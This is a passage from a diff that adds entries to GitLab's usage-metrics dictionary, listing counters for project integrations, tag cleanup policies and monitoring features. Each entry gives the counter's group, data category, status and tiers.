+### `counts.projects_inheriting_ewm_active`
+
+Count of active projects inheriting integrations for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_external_wiki_active`
+
+Count of active projects inheriting integrations for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175833_projects_inheriting_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_flowdock_active`
+
+Count of active projects inheriting integrations for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175844_projects_inheriting_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_github_active`
+
+Count of active projects inheriting integrations for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175855_projects_inheriting_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_inheriting_hangouts_chat_active`
+
+Count of active projects inheriting integrations for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175906_projects_inheriting_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_hipchat_active`
+
+Count of active projects inheriting integrations for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175917_projects_inheriting_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_irker_active`
+
+Count of active projects inheriting integrations for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175928_projects_inheriting_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_jenkins_active`
+
+Count of active projects inheriting integrations for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_jira_active`
+
+Count of active projects inheriting integrations for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_mattermost_active`
+
+Count of active projects inheriting integrations for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_mattermost_slash_commands_active`
+
+Count of active projects inheriting integrations for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_microsoft_teams_active`
+
+Count of active projects inheriting integrations for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_mock_ci_active`
+
+Count of active projects inheriting integrations for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_mock_monitoring_active`
+
+Count of active projects inheriting integrations for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_packagist_active`
+
+Count of active projects inheriting integrations for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_pipelines_email_active`
+
+Count of active projects inheriting integrations for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_pivotaltracker_active`
+
+Count of active projects inheriting integrations for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_prometheus_active`
+
+Count of active projects inheriting integrations for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180938_projects_inheriting_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_pushover_active`
+
+Count of active projects inheriting integrations for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_redmine_active`
+
+Count of active projects inheriting integrations for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_slack_active`
+
+Count of active projects inheriting integrations for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_slack_slash_commands_active`
+
+Count of active projects inheriting integrations for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_teamcity_active`
+
+Count of active projects inheriting integrations for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_unify_circuit_active`
+
+Count of active projects inheriting integrations for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_webex_teams_active`
+
+Count of active projects inheriting integrations for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_youtrack_active`
+
+Count of active projects inheriting integrations for YouTrack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_irker_active`
+
+Count of projects with active integrations for Irker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175921_projects_irker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jenkins_active`
+
+Count of projects with active integrations for Jenkins
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175932_projects_jenkins_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jira_active`
+
+Count of projects with active integrations for Jira
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175943_projects_jira_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jira_cloud_active`
+
+Count of active integrations with Jira Cloud (Saas)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jira_dvcs_cloud_active`
+
+Count of active integrations with Jira Cloud (DVCS Connector)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jira_dvcs_server_active`
+
+Count of active integrations with Jira Software (DVCS connector)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_jira_issuelist_active`
+
+Total Jira Issue feature enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180236_projects_jira_issuelist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_jira_server_active`
+
+Count of active integrations with Jira Software (server)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_mattermost_active`
+
+Count of projects with active integrations for Mattermost
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_mattermost_slash_commands_active`
+
+Count of projects with active integrations for Mattermost (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_microsoft_teams_active`
+
+Count of projects with active integrations for Microsoft Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_mirrored_with_pipelines_enabled`
+
+Projects with repository mirroring enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181920_projects_mirrored_with_pipelines_enabled.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_mock_ci_active`
+
+Count of projects with active integrations for Mock CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_mock_monitoring_active`
+
+Count of projects with active integrations for Mock Monitoring
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_packagist_active`
+
+Count of projects with active integrations for Packagist
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180027_projects_packagist_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_pipelines_email_active`
+
+Count of projects with active integrations for Pipeline Emails
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_pivotaltracker_active`
+
+Count of projects with active integrations for Pivotal Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_prometheus_active`
+
+Count of projects with active integrations for Prometheus
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180931_projects_prometheus_active.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_pushover_active`
+
+Count of projects with active integrations for Pushover
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180100_projects_pushover_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_redmine_active`
+
+Count of projects with active integrations for Redmine
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180111_projects_redmine_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_reporting_ci_cd_back_to_github`
+
+Projects with a GitHub service pipeline enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182212_projects_reporting_ci_cd_back_to_github.yml)
+
+Group: `group::continuous_integration`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_slack_active`
+
+Count of projects with active integrations for Slack
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180122_projects_slack_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_slack_slash_commands_active`
+
+Count of projects with active integrations for Slack (slash commands)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_teamcity_active`
+
+Count of projects with active integrations for Teamcity CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_unify_circuit_active`
+
+Count of projects with active integrations for Unifiy Circuit
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_webex_teams_active`
+
+Count of projects with active integrations for Webex Teams
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_alerts_created`
+
+Count of projects with alerts created in given time period
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_alerts_service_enabled`
+
+Count of projects that have enabled the Alerts service
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_enabled_alert_integrations`
+
+Count of projects with at least 1 enabled integration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_error_tracking_enabled`
+
+Count of projects that have enabled Error tracking via Sentry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_disabled`
+
+The number of projects with cleanup policy for tags turned off
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled`
+
+A count of projects with the cleanup policy for tags turned on
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_14d`
+
+A count of projects with the cleanup policy set to run every 14 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1d`
+
+A count of projects with the cleanup policy set to run every day
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_1month`
+
+A count of projects with the cleanup policy set to run monthly
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_3month`
+
+A count of projects with the cleanup policy set to run every 3 months
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_cadence_set_to_7d`
+
+A count of projects with the cleanup policy set to run every 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_1`
+
+A count of projects with the cleanup policy set to keep 1 tag
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_10`
+
+A count of projects with the cleanup policy set to keep 10 tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_100`
+
+A count of projects with the cleanup policy set to keep 100 tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_25`
+
+A count of projects with the cleanup policy set to keep 25 tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_5`
+
+A count of projects with the cleanup policy set to keep 5 tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_set_to_50`
+
+A count of projects with the cleanup policy set to keep 50 tags
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_keep_n_unset`
+
+A count of projects with the cleanup policy with the number of tags to keep unset
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_14d`
+
+A count of projects with the cleanup policy set delete tags older than 14 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_30d`
+
+A count of projects with the cleanup policy set delete tags older than 30 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_7d`
+
+A count of projects with the cleanup policy set delete tags older than 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_older_than_set_to_90d`
+
+A count of projects with the cleanup policy set delete tags older than 90 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_expiration_policy_enabled_with_older_than_unset`
+
+A count of projects with the cleanup policy with the number of tags to delete unset
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_packages`
+
+Projects with package registry enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181011_projects_with_packages.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_prometheus_alerts`
+
+Projects with Prometheus alerting enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175019_projects_with_prometheus_alerts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`
+
+### `counts.projects_with_repositories_enabled`
+
+Count of users creating projects that have a matching Git repository, result of a Git push action.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181959_projects_with_repositories_enabled.yml)
+
+Group: `group::source code`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_with_terraform_reports`
+
+Count of projects with Terraform MR reports
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175320_projects_with_terraform_reports.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_with_terraform_states`
+
